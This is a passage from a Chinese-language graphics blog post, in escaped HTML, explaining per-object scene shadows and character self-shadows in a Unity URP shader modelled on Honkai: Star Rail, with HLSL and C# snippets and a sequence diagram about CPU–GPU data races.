class=\"o\"\u003e||\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eshadowCoord\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003ey\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e\u0026gt;\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eshadowMapRects\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003ew\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003ereturn\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"mi\"\u003e1\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"c1\"\u003e// 超出阴影图范围,当作没有阴影\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003ereturn\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eSampleShadowmap\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003eTEXTURE2D_SHADOW_ARGS\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003eshadowMap\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003esampler_shadowMap\u003c/span\u003e\u003cspan class=\"p\"\u003e),\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eshadowCoord\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eshadowSamplingData\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eshadowParams\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eisPerspectiveProjection\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\n\u003ch2 id=\"场景采样角色阴影\"\u003e场景采样角色阴影\u003ca class=\"headerlink\" href=\"#场景采样角色阴影\" title=\"Permanent link\"\u003e\u0026para;\u003c/a\u003e\u003c/h2\u003e\n\u003cp\u003e直接遍历一遍,全部采样。\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre\u003e\u003cspan\u003e\u003c/span\u003e\u003ccode\u003e\u003cspan class=\"kt\"\u003efloat\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eMainLightPerObjectSceneShadow\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"kt\"\u003efloat3\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003epositionWS\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\n\u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eShadowSamplingData\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eshadowSamplingData\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e=\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eGetMainLightPerObjectSceneShadowSamplingData\u003c/span\u003e\u003cspan class=\"p\"\u003e();\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"kt\"\u003ehalf4\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eshadowParams\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e=\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eGetMainLightShadowParams\u003c/span\u003e\u003cspan class=\"p\"\u003e();\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"kt\"\u003efloat\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eshadow\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e=\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"mi\"\u003e1\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003efor\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"kt\"\u003eint\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003ei\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e=\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"mo\"\u003e0\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003ei\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e\u0026lt;\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003e_PerObjSceneShadowCount\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003ei\u003c/span\u003e\u003cspan class=\"o\"\u003e++\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"kt\"\u003efloat4\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eshadowCoord\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e=\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eTransformWorldToPerObjectShadowCoord\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003e_PerObjSceneShadowMatrices\u003c/span\u003e\u003cspan class=\"p\"\u003e[\u003c/span\u003e\u003cspan class=\"n\"\u003ei\u003c/span\u003e\u003cspan class=\"p\"\u003e],\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003epositionWS\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eshadow\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e=\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"nb\"\u003emin\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003eshadow\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003ePerObjectShadow\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003eTEXTURE2D_SHADOW_ARGS\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003e_PerObjSceneShadowMap\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003esampler_PerObjSceneShadowMap\u003c/span\u003e\u003cspan class=\"p\"\u003e),\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003e_PerObjSceneShadowMapRects\u003c/span\u003e\u003cspan class=\"p\"\u003e[\u003c/span\u003e\u003cspan class=\"n\"\u003ei\u003c/span\u003e\u003cspan class=\"p\"\u003e],\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eshadowCoord\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eshadowSamplingData\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eshadowParams\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"kc\"\u003efalse\u003c/span\u003e\u003cspan class=\"p\"\u003e));\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003ereturn\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eshadow\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\n\u003ch2 id=\"角色自阴影\"\u003e角色自阴影\u003ca class=\"headerlink\" href=\"#角色自阴影\" title=\"Permanent link\"\u003e\u0026para;\u003c/a\u003e\u003c/h2\u003e\n\u003cp\u003e角色自阴影比较特殊,如果直接用光源方向绘制阴影图的话,在特殊的光照角度下会出现很丑的阴影和瑕疵。\u003c/p\u003e\n\u003cp\u003e\u003cimg alt=\"常规方案的效果\" src=\"../../../obsidian-vault/attachments/Pasted%20image%2020240714171505.png\" /\u003e\u003c/p\u003e\n\u003cp\u003e我观察了游戏里自阴影的效果,发现他们使用了视角和光源的混合方向绘制阴影图。我模仿他们设计了下面这个算法\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre\u003e\u003cspan\u003e\u003c/span\u003e\u003ccode\u003e\u003cspan class=\"c1\"\u003e// 混合视角和主光源的方向,视角方向不用 camera forward,避免转动视角时阴影方向变化\u003c/span\u003e\n\u003cspan class=\"c1\"\u003e// 直接用向量插值,四元数插值会导致部分情况跳变\u003c/span\u003e\n\u003cspan class=\"c1\"\u003e// 以视角方向为主,减少背面 artifact\u003c/span\u003e\n\u003cspan class=\"n\"\u003efloat3\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eviewForward\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e=\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003enormalizesafe\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003eaabbCenter\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e-\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003ecameraPosition\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\u003cspan class=\"n\"\u003efloat3\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eforward\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e=\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003enormalize\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003elerp\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003eviewForward\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003elightForward\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"m\"\u003e0.2f\u003c/span\u003e\u003cspan class=\"p\"\u003e));\u003c/span\u003e\n\n\u003cspan class=\"c1\"\u003e// 超低角度观察会出现不该有的阴影\u003c/span\u003e\n\u003cspan class=\"kt\"\u003efloat\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003ecosAngle\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e=\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003edot\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003eforward\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eargs\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003eCasterUpVector\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\u003cspan class=\"kt\"\u003efloat\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003ecosAngleClamped\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e=\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eclamp\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003ecosAngle\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e-\u003c/span\u003e\u003cspan class=\"m\"\u003e0.866f\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"m\"\u003e0\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"c1\"\u003e// 限制在 90° ~ 150° 之间\u003c/span\u003e\n\u003cspan class=\"n\"\u003eforward\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e=\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003enormalize\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003eforward\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e+\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003ecosAngleClamped\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e-\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003ecosAngle\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e*\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eargs\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003eCasterUpVector\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\n\u003cspan class=\"n\"\u003elightRotation\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e=\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003equaternion\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003eLookRotation\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003eforward\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003ecameraUp\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\u003cspan class=\"n\"\u003elightDirection\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e=\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003efloat4\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"o\"\u003e-\u003c/span\u003e\u003cspan class=\"n\"\u003eforward\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"m\"\u003e0\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\n\u003cp\u003e同样的视角和光照角度,效果比刚才好多了。\u003c/p\u003e\n\u003cp\u003e\u003cimg alt=\"星穹铁道方案的效果\" src=\"../../../obsidian-vault/attachments/Pasted%20image%2020240714171941.png\" /\u003e\u003c/p\u003e\n\u003cp\u003e采样的时候需要一个 \u003ccode\u003ecasterId\u003c/code\u003e,场景里每个角色实例的 \u003ccode\u003ecasterId\u003c/code\u003e 是唯一且不变的,由 C# 代码设置到角色的材质上。\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre\u003e\u003cspan\u003e\u003c/span\u003e\u003ccode\u003e\u003cspan class=\"kt\"\u003efloat\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eMainLightPerObjectSelfShadow\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"kt\"\u003efloat3\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003epositionWS\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"kt\"\u003efloat\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003ecasterId\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\n\u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eShadowSamplingData\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eshadowSamplingData\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e=\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eGetMainLightPerObjectSelfShadowSamplingData\u003c/span\u003e\u003cspan class=\"p\"\u003e();\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"kt\"\u003ehalf4\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eshadowParams\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e=\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eGetMainLightShadowParams\u003c/span\u003e\u003cspan class=\"p\"\u003e();\u003c/span\u003e\n\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003efor\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"kt\"\u003eint\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003ei\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e=\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"mo\"\u003e0\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003ei\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e\u0026lt;\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003e_PerObjSelfShadowCount\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003ei\u003c/span\u003e\u003cspan class=\"o\"\u003e++\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003eif\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"nb\"\u003eabs\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003e_PerObjSelfShadowCasterIds\u003c/span\u003e\u003cspan class=\"p\"\u003e[\u003c/span\u003e\u003cspan class=\"n\"\u003ei\u003c/span\u003e\u003cspan class=\"p\"\u003e]\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e-\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003ecasterId\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e\u0026lt;=\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"mf\"\u003e0.001\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"kt\"\u003efloat4\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eshadowCoord\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e=\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eTransformWorldToPerObjectShadowCoord\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003e_PerObjSelfShadowMatrices\u003c/span\u003e\u003cspan class=\"p\"\u003e[\u003c/span\u003e\u003cspan class=\"n\"\u003ei\u003c/span\u003e\u003cspan class=\"p\"\u003e],\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003epositionWS\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003ereturn\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003ePerObjectShadow\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003eTEXTURE2D_SHADOW_ARGS\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003e_PerObjSelfShadowMap\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003esampler_PerObjSelfShadowMap\u003c/span\u003e\u003cspan class=\"p\"\u003e),\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003e_PerObjSelfShadowMapRects\u003c/span\u003e\u003cspan class=\"p\"\u003e[\u003c/span\u003e\u003cspan class=\"n\"\u003ei\u003c/span\u003e\u003cspan class=\"p\"\u003e],\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eshadowCoord\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eshadowSamplingData\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eshadowParams\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"kc\"\u003efalse\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003ereturn\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"mi\"\u003e1\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\n\u003cp\u003e你可能会好奇,为什么不直接传一个 \u003ccode\u003eshadowIndex\u003c/code\u003e,这样 Shader 里不是能少一个循环吗?\u003c/p\u003e\n\u003cpre class=\"mermaid\"\u003e\u003ccode\u003esequenceDiagram\n participant CPU\n actor 角色材质\n participant GPU\n\n CPU-\u0026gt;\u0026gt;角色材质: 设置 shadowIndex\n CPU-\u0026gt;\u0026gt;+GPU: 提交数据,请求绘制\n GPU-\u0026gt;\u0026gt;-角色材质: 读取并绘制角色\n CPU-\u0026gt;\u0026gt;角色材质: 设置 shadowIndex\n CPU-\u0026gt;\u0026gt;+GPU: 提交数据,请求绘制\n CPU-\u0026gt;\u0026gt;角色材质: 设置 shadowIndex\n GPU-\u0026gt;\u0026gt;-角色材质: 读取并绘制角色\n CPU-\u0026gt;\u0026gt;+GPU: 提交数据,请求绘制\n GPU-\u0026gt;\u0026gt;-角色材质: 读取并绘制角色\u003c/code\u003e\u003c/pre\u003e\n\u003cblockquote\u003e\n\u003cp\u003e图中的「提交数据」指通过 \u003ca href=\"https://docs.unity3d.com/ScriptReference/Rendering.CommandBuffer.SetGlobalMatrixArray.html\"\u003e\u003ccode\u003eCommandBuffer.SetGlobalMatrixArray\u003c/code\u003e\u003c/a\u003e 这类 API 设置的数据,GPU 执行到这里才会生效。但角色材质数据是在 cbuffer 里的,CPU 一旦设置就立即生效。\u003c/p\u003e\n\u003c/blockquote\u003e\n\u003cp\u003e考虑上图的情况,第二次绘制时,GPU 读取的是下一帧的 \u003ccode\u003eshadowIndex\u003c/code\u003e,导致阴影渲染出错。从视觉效果上讲,就是阴影突然消失,之后可能又突然出现。URP 是 SceneView、Preview、Game 等多个 Camera 交替渲染的,每个 Camera 都要设置自己的 \u003ccode\u003eshadowIndex\u003c/code\u003e,但角色材质只有一份,竞争更加激烈,阴影更容易出错。而 \u003ccode\u003ecasterId\u003c/code\u003e 的值在第一次设置后就不变了,能解决上面的问题,代价是在 Shader 里加了个循环。\u003c/p\u003e\n\u003cp\u003e游戏里头发是不采样自阴影的。脸部使用的是基于深度偏移的刘海阴影,具体讲就是,提前画一张只有头发的深度图,绘制脸部时,根据光照方向偏移采样这张深度图,然后确定阴影区域,流程和深度偏移的边缘光比较像。这样不容易把脸弄脏,开销少一点,阴影图的大小也能适当减小一点。\u003c/p\u003e\n\u003ch2 id=\"完整代码\"\u003e完整代码\u003ca class=\"headerlink\" href=\"#完整代码\" title=\"Permanent link\"\u003e\u0026para;\u003c/a\u003e\u003c/h2\u003e\n\u003cp\u003e\u003ca href=\"https://github.com/stalomeow/StarRailNPRShader\"\u003eGitHub: 